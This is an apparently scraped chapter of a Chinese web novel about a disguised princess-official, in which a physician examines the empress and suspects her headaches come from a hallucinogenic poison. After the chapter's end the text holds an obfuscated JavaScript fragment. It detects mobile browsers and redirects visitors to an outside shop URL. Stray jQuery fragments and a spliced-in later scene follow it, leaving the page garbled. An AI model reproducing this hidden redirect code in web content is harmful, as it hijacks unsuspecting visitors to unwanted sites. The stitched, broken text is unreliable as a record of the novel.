文趣网 > 都市小说 > 穿着官服当太女 > 10. 董氏
    李烨乔是在穿越后不久得知扬州董氏的,彼时李明舟的头疾已时常发作,李烨乔四处为她搜寻治病良方,麾下一个女子向她推荐了扬州董氏家主,董玉。

    相传这个董氏就是千百年前的名医杏林君同族,也不管真不真,反正董玉此人治病救人是一把好手,故而当时的庆阳公主亲自去信邀其前来为李明舟诊治。

    在李烨乔经历了暗斗、刺杀、养伤恢复、易容化名、女扮男装、进京科考后,董玉的弟弟董筠终于从扬州赶到了京城,按照李烨乔的安排隐居于市井,听候传召。

    董筠此人,医术确实精湛,寻常医家七日才能治好的伤病风寒,他两副药三天就能给人药到病除,但除了医术外,其他地方可谓一无是处:体弱、嘴毒、还路痴。

    去皇宫的马车上,他仅凭观李烨乔的面容,便说了她一路。

    “魏公子,你今日思虑过重,眉头紧锁,要当心啊!”

    李烨乔点头,心道你也来上个班试试!

    “魏公子,你昨日是否熬夜了,要注意休息呀,子时前必须睡觉的。”

    李烨乔再次点头:“董医师说得是。”

    “已经立夏,火气渐重,魏公子要注意别发火,减少体内炎症,若是发了病,那便不好了。”

    “魏公子,在下瞧你舌苔偏薄,恐是风寒前兆,夏日风邪尤为难受,等下在下为您开副药。”

    “魏公子……”

    李烨乔已经不想回应了,她身旁的赵瑾韶索性开口:“董医师,要不看看我的身体吧。”

    董筠脱口而出:“赵同知是武人,身体看着康健,但心毒入骨,药物无法医治,需得自行寻求药引,若是不管不顾,便也绝不像风寒伤痛那般好治,大人得小心。”

    压抑,真实的压抑,马车里似乎被谁布了一层乌云,再说两句就能下雨。

    赵瑾韶凑近李烨乔:“阿乔,他真的靠谱吗?”

    李烨乔也不禁自我怀疑,思索片刻:“他教的治头疼的法子确实有用,试试吧。”

    李明舟坐在文华殿看奏折,过一阵便问一次霍晴喜:“晴喜啊,来了吗?”

    霍晴喜忙回答:“回陛下,说是到东华门,应是快了。”

    不久后,赵瑾韶带着二人入殿:“陛下,魏修撰、董医师已到。”

    李明舟看着躬身行礼的三人,不疾不徐:“免礼吧,听闻董医师医术高明,今日便有劳医师为朕看看着老毛病,也别说些什么常休息重颐养之类的套话,真能歇息也就没这些个问题了。”

    女帝语调平和,并无问责,只是这番话也让董筠双肩微抖,他躬身上前:“谨遵圣意。”

    董筠在一旁把脉诊断,李明舟也不想闲着,她看向李烨乔和赵瑾韶:“你们说说,近期有何趣事,魏修撰先说。”

    “回陛下,要说趣事,您前些日子不是罚花侍读打扫东厕吗,可花侍读哪干过这个,他昨日去倒马桶,不小心……噗……”李烨乔说着说着,自己倒先笑起来。

    李明舟勾唇:“魏修撰怎么卖关子,快说。”

    “他……提着马桶,和陈严学士撞了个满怀,彼时陈学士正拿着他最喜爱的玉雕花把玩,那雕花就这么掉进马桶里……哈哈哈……”李烨乔又没忍住。

    李明舟也宠溺地笑出声:“都有味儿了。”

    赵瑾韶与霍晴喜也没忍住掩嘴发笑,李烨乔又道:“那情境让臣想到了四个字,屎上雕花!”

    “哈哈哈——”李明舟到底也大笑了起来,险些抬起正在把脉的手,“朕的乔儿曾说过这个词,魏修撰倒也说了个歪打正着,哈哈哈。”

    霍晴喜也跟着发笑:“我们陛下好久没这么大笑过了。”

    李烨乔狡黠眨眼,摸着后脑勺:“嘿嘿,耍个宝罢了,逗陛下开心。”

    笑过之后,赵瑾韶也开口:“金武卫这边无甚趣事,无非每日巡逻罢了,但市井闲语中倒是听出不少夸赞陛下的话,比如陛下为开商路给商人们许的便利,被各个大商小贩四处叫好。”

    李明舟点头:“商路必须尽快扩散,能到大雍全境最好,兜里有钱才有余力说其他。”

    董筠诊治完毕,其诊断结果与太医们说的差不多,李明舟是因为思虑过度导致头疾,他为李明舟写下了一个药方,让其每日按时服用,七天内必有好转。

    赵瑾韶被李明舟安排去做别的事务,故而回程的马车上只有李烨乔与董筠二人,董筠一路魂不守舍,四处张望。

    李烨乔觉察了不对:“董医师,可是有什么疑虑?”

    董筠凑近李烨乔,低声问:“魏大人可知晓,陛下的头是否遭受过剧烈的撞击?”

    李烨乔皱着眉回想,在她以及原主的记忆中,李明舟当年随父征战,身上刀伤剑伤倒是不少,但头部受伤的记忆确实未曾有过。李烨乔摇了摇头:“据我所知,没有。”

    “这便奇怪了,但在下刚刚不敢说。”董筠皱着眉,“方才,碰到陛下头上特定之处时,疼痛会明显加重,问其情况,有明显的胀痛、撕裂之痛。比起思虑,我其实更怀疑她的脑子不久前遭受过撞击,但按常理说,既然反应如此大,那她的脑子里应该会有淤血,而且如此创伤,不可能延续这么多年,可是我方才诊断,陛下脑子里并无淤血,也并无加重迹象。”

    “也就是说,董医师观察下来,陛下有脑部遭受撞击的疼痛,却无遭撞击之人应有的内在症状?”李烨乔努力理解着董筠的话,顿觉细思极恐,“医师,你可别吓人,你知道你这番话听着像是什么吗?”

    “像是陛下的脑子在故意给陛下制造遭受了撞击的幻觉。”董筠自己说了出来,“所以我除了开镇痛安神药,还开了一些解致幻之毒的药物。”

    李烨乔点了点头,郑重其事:“药且先用着,我们定期前来为陛下诊断。”

    “魏大人放心。”董筠约莫是瞧出事态严重,连忙应允。

    **

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886599|212569||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >李烨乔在翰林院的生活确实好过了许多,除了花淳,其他人都客客气气。

    至于花淳,估摸是打扫东厕就已经消磨了他诸多精力,近日倒是不招惹了,只是每每看到李烨乔,就高高抬起头,装作不看她,擦肩而过时还能小声呛一句:“小白脸。”

    李烨乔也懒得理会,毕竟只要他没有拥趸一起作恶,他自己也翻不出花来。

    今日刘锡因府中有事,回家路上便只有舒望与李烨乔两人。

    “近日咱们编检厅的日子好过了许多呀!”李烨乔伸了个懒腰。

    舒望点头,又支吾开口:“就是苦了松寿兄。”

    “啊?我不苦啊。”李烨乔困惑,“这几日不挺好的吗?”

    “表面上而已,那日我与知恩兄路过几人,竟听见……”舒望酝酿片刻,终是又开口,“听见他们说你以色侍君,不然那日在翰林后堂,陛下怎会单独召见你?”

    李烨乔不屑:“呵,历代帝王不都会单独召见臣子说事吗,这有何稀奇?”

    “可陛下……她……她是……”

    “她是女人,对吧?”李烨乔看了一眼舒望,“清辉兄也这么想?”

    舒望叹气,低头轻摇:“我知道松寿兄不是这种人。”

    “但不信陛下不是这种人?”李烨乔挑眉,眼中不乏轻蔑,“她是帝王,还是个明君,却因为是个女人,连她亲自选的探花郎都不信她是个持重刚正之人?”

    “松寿兄,清辉绝无污蔑圣上之意!”

    “没有最好,那些个见到男女便往不正之路上想的人,迟早得遭报应。”李烨乔见他神色诚恳,“我那日与陛下只是聊了些减缓头疼之症的方子,并无其他,因此不存在什么受苦一说,其他人没在我眼前晃,我也便当没听见,但我与清辉兄是友人,还望清辉兄不要误会。”

    “是!”舒望郑重其事地应下,“方才冒犯松寿兄,见谅。”

    李烨乔对翠娴与紫顺也没啥特殊要求,把房间打扫干净,饭做好,最主要的,府中之事一律不得外传,包括对平日里熟识的人。

    但李烨乔是从不让翠娴与紫顺入卧房伺候的,毕竟自己要卸妆,易容之事还不打算让无关人等知晓。当初答应赵瑾韶买丫鬟伺候也是出于此考虑,若是买小厮,他们能理所当然地进出卧房;若是丫鬟,自己身为“男子”,不让她们入内,也算顺理成章,还能蹭个洁身自好的好名声。

    李烨乔躺在床上,静静思考着董筠的话。

    母亲的神智并无错乱,但为何会有这种幻觉?

    是有人给她下毒了?那又会是什么致幻性毒药?这些毒药除了制造头疼,这么多年里没有别的症状发生吗?

    给她下毒之人,又是谁?莫非又是自己那位好舅舅?

    但据自己所知,好舅舅身边并无善毒之人,毕竟都流着先帝金戈铁马的豪迈之血,他本人对下毒行径也是嗤之以鼻的。

    奇怪,太奇怪了。